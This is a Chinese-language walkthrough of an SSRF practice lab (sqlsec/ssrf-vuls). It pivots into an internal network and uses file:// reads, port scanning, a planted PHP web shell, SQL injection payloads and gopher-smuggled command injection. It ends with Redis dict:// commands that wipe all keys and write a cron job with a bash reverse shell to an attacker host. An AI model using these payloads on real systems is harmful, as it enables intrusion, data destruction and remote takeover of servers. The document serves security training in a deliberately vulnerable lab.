通过SSRF击穿内网!kali-ssrf靶场实战!
目录
1. 靶场拓扑图
2. 判断SSRF的存在
3. SSRF获取本地信息
3.1. SSRF常用协议
3.2. 使用file协议
4. 172.150.23.1/24探测端口
5. 172.150.23.22 - 代码注入
6. 172.150.23.23 SQL注入
7. 172.150.23.24 命令执行
7.1. 实验步骤
8. 172.150.23.27:6379 Redis未授权
8.1. Redis unauth 应用详情
8.1.1. 清空 key(实战中最好不要使用该命令)
8.1.2. 设置要操作的路径为定时任务目录
8.1.3. 在定时任务目录下创建 root 的定时任务文件
8.1.4. 写入 Bash 反弹 shell 的 payload
8.1.5. 保存上述操作
首先我们利用到的国光老师制作的与ssrf相关的靶场资源链接:Github - sqlsec/ssrf-vuls
以下是部分靶场的实验,均为自己手动试过
利用docker容器搭建kali靶场,启动靶场会有端口映射,对IP地址和端口进行访问,实现访问靶场,
这种状态类似搭建了一个服务器,我们输入IP加端口进行访问,就像访问公网一样,我们可以利用该ssrf漏洞对内网其他地址进行访问攻击,如下图
1. 靶场拓扑图
192.168.119.128:目前虚拟机IP
借用下图对该靶场进行更好的理解,其他地址就是其他服务器。具有ssrf漏洞的服务器就像一个跳板,我们借用该跳板对其他服务器进行访问敏感数据,在该靶场中,我们任务就是找到相应flag
先理清一下攻击流程,172.72.23.21 这个服务器的 Web 80 端口存在 SSRF 漏洞,并且 80 端口映射到了公网的 8080,此时攻击者通过这个 8080 端口可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。
2. 判断SSRF的存在
有对外进行网络请求的地方,就可能存在ssrf,当开启靶场后,我们事先访问一番IP+映射端口
192.168.119.128:9080
可以进行网站请求,进行测试,对公网进行访问,比方说百度
通过图中显现,测试成功,接下来对内网IP 127.0.0.1 进行测试,看看是否可以访问
测试依然成功,通过两次测试,基本可以判定是ssrf漏洞,它并没有对用户的输入进行过滤或者验证,导致可以对任意外网或者内网进行访问。
也就是我们接下来可以对该内网进行访问
3. SSRF获取本地信息
正常业务情况是请求网站然后响应内容,但是没做好过滤可以使用其他协议,配合 file 协议来读取本地的文件信息。
当我们确认漏洞是ssrf后,我们还需要知道该IP地址是什么,然后对该网段进行判断,进行攻击
3.1. SSRF常用协议
http://:探测内网主机存活、端口开放情况
gopher://:发送GET或POST请求;攻击内网应用
dict://:泄露安装软件版本信息,查看端口,操作内网远程访问等
file://:读取本地文件
接下来我们使用相关协议对该服务器进行信息收集
由于我们什么信息都不知道,首先采用file协议来获取本地信息
3.2. 使用file协议
file:///etc/hosts
为什么使用hosts文件呢,因为hosts文件中会保存自己的IP地址。
权限高的情况下还可以尝试读取 /proc/net/arp
或者 /etc/network/interfaces
来判断当前机器的网络情况
172.150.23.21 得到了该地址,就可以对该网段进行搜集了,探测内网端口
4. 172.150.23.1/24探测端口
常用端口80,8080,6379,3306,网段:21到40,扫一下,因为我们目前是上帝视角,就爆破这几个熟悉流程即可
对于探测端口,我们常使用dict协议
dict://:泄露安装软件版本信息,查看端口,操作内网远程访问等
使用bp进行爆破,将d段与端口添加
- sniper(狙击手攻击):这种攻击使用单一的有效载荷集和一个或多个有效载荷位置。它将每个有效载荷依次放入第一个位置、第二个位置,依此类推。
- battering ram(攻城槌攻击):这种攻击使用单一的有效载荷集。它遍历这些有效载荷,并将相同的有效载荷同时放入所有定义的有效载荷位置。
- pitchfork(干草叉攻击):这种攻击使用多个有效载荷集(每个定义的位置对应不同的有效载荷集,最多20个)。攻击同时遍历所有有效载荷集,先使用每个集中的第一个有效载荷,然后是每个集中的第二个有效载荷,依此类推。
- cluster bomb(集束炸弹攻击):这种攻击使用多个有效载荷集(每个定义的位置对应不同的有效载荷集,最多20个)。攻击依次遍历每个有效载荷集,以测试有效载荷组合的所有排列。
使用cluster bomb模块
通过爆破发现21:80,22:80,23:3306,23:80,24:80,呃直接看图吧
比对前面开头的拓扑图,一一匹配,信息收集完毕,接下来使用SSRF漏洞来进行内网攻击
5. 172.150.23.22 - 代码注入
既然我们探测到了这些端口,接下来对其进行实验
访问172.150.23.22
返回一个界面,思考一下,就单一个界面,我们接下来应该是对其进行目录扫描,看看是否有隐藏目录,然后对隐藏目录进行访问
172.150.23.22/222.php
对网址后面添加php文件,在bp中对其进行爆破访问《类型php文件》
通过爆破,发现两个文件具有回显,并且是典型的敏感文件和一句话木马
- phpinfo.php-------》获得了PHP版本信息,并且还有系统信息
- shell.php 一句话木马,接下来可以利用一句话木马进行命令执行
使用get传参进行代码注入172.150.23.22/shell.php?cmd=ls
出现了以下信息
- 172.150.23.22/shell.php?cmd=cat%20/etc/hosts cat后面的空格要改为%20,才能进行访问hosts
- 但是我们需要找到flag,如果从 BP 里面抓包请求的话,空格得写成
%2520
,即两次 URL 编码才可以顺利执行命令:172.150.23.22/shell.php?cmd=cat%20/flag
6. 172.150.23.23 SQL注入
访问该站点,是一个SQL注入类型的靶场
?id=1 正常查询加上’出现错误,为报错注入,使用报错注入语句直接秒了
http://172.150.23.23/?id=1%20and%201=2%20union%20select%20version(),user(),3,database()--+
报错语句带出相关信息
172.150.23.23?id=1'%20and%20(select%20extractvalue("anything",concat('~',(select%20user()))))--+
7. 172.150.23.24 命令执行
172.72.23.24 是一个经典的命令执行,通过 POST 方式攻击者可以随意利用 Linux 命令拼接符 ip 参数,从而导致任意命令执行:
这种场景和之前的攻击场景稍微不太一样,之前的代码注入和 SQL 注入都是直接通过 GET 方式来传递参数进行攻击的,但是这个命令执行的场景是通过 POST 方式触发的,我们无法使用使用 SSRF 漏洞通过 HTTP 协议来传递 POST 数据,这种情况下一般就得利用 gopher 协议来发起对内网应用的 POST 请求了,gopher 的基本请求格式如下:
注意几点:
- Content-Length需要正确设置,用Burp发一次,会自动计算
- 需要URL编码一次
- 删除
Accept-Encoding
,否则结果会被两次编码(至善一个) - 格式:
gopher://172.72.23.24:80/_<编码后POST数据包>
7.1. 实验步骤
- 输入127.0.0.1 ping一下本地,没有回显,此时使用bp拦包,网址为post请求
bp拦截
- 在ssrf中无法使用HTTP协议来传递post数据,因此要使用一个gopher协议,接下来就是如何将数据变成gopher协议符合的格式。
- 事先我们需要将上图中红框中的规则删去,因为如果它存在,请求出去的信息将会被两次编码,导致信息流错误,使无法正常gopher。
- 我们要构造属于172.150.23.24的gopher协议,因此需要将Host改为172.150.23.24
并且将无关信息删除,框住的,?id=1也删去
- 改为下面样子并且发送一次,会改变长度为适合的长度。
- 对剩下的内容进行两次url编码
- 重新抓一个原始包,接下来就是将编码的数据流粘贴到这个包中,构造gopher协议
- gopher://172.150.23.24:80/_ ------>下划线:因为gopher协议在传输过程中会吞掉一个字符,这个字符任意都可以,
将;后面的指令更改,再编码两次构造协议同理可以查到其他信息。
8. 172.150.23.27:6379 Redis未授权
8.1. Redis unauth 应用详情
内网的 172.72.23.27 主机上的 6379 端口运行着未授权的 Redis 服务,系统没有 Web 服务(无法写 Shell),无 SSH 公私钥认证(无法写公钥),所以这里攻击思路只能是使用定时任务来进行攻击了。常规的攻击思路的主要命令如下:
dict://x.x.x.x:6379/<Redis 命令>
- 使用
dict
协议来简单判断是否存在未授权,执行info
命令:dict://ip:port/info
:
证实存在未授权,写入定时任务反弹shell,其基本payload:
flushall #删除所有key,保证我们的优先级最高
config set dir /var/spool/cron/ #设置目录,还有/etc/crontab或者/etc/cron.d/也是可以存放定时任务的地方
config set dbfilename root #文件名与用户名一致
set chenlvtnag "\n* * * * * /bin/bash -i >& /dev/tcp/Hacker_IP/2333 0>&1\n" #这里之所以有两个\n是为了保证写入的定时任务格式正确
save #保存
利用的时候,只需要用burp结合dict协议来逐条发包即可,最好url编码一次(受post中的&影响),不过不需要编码两次,因为这里不是http协议.
Redis 成功返回执行完 info 命令后的结果信息
8.1.1. 清空 key(实战中最好不要使用该命令)
dict://172.72.23.27:6379/flushall
8.1.2. 设置要操作的路径为定时任务目录
dict://172.72.23.27:6379/config set dir /var/spool/cron/
8.1.3. 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root
8.1.4. 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333
0>%261\n"
8.1.5. 保存上述操作
dict://172.72.23.27:6379/save
SSRF 传递的时候记得要把 & URL 编码为 %26,上面的操作最好再 BP 下抓包操作,防止浏
览器传输的时候被 URL 打乱编码
Config set dir /var/spool/cron/ 相当于 cd /var/spool/cron/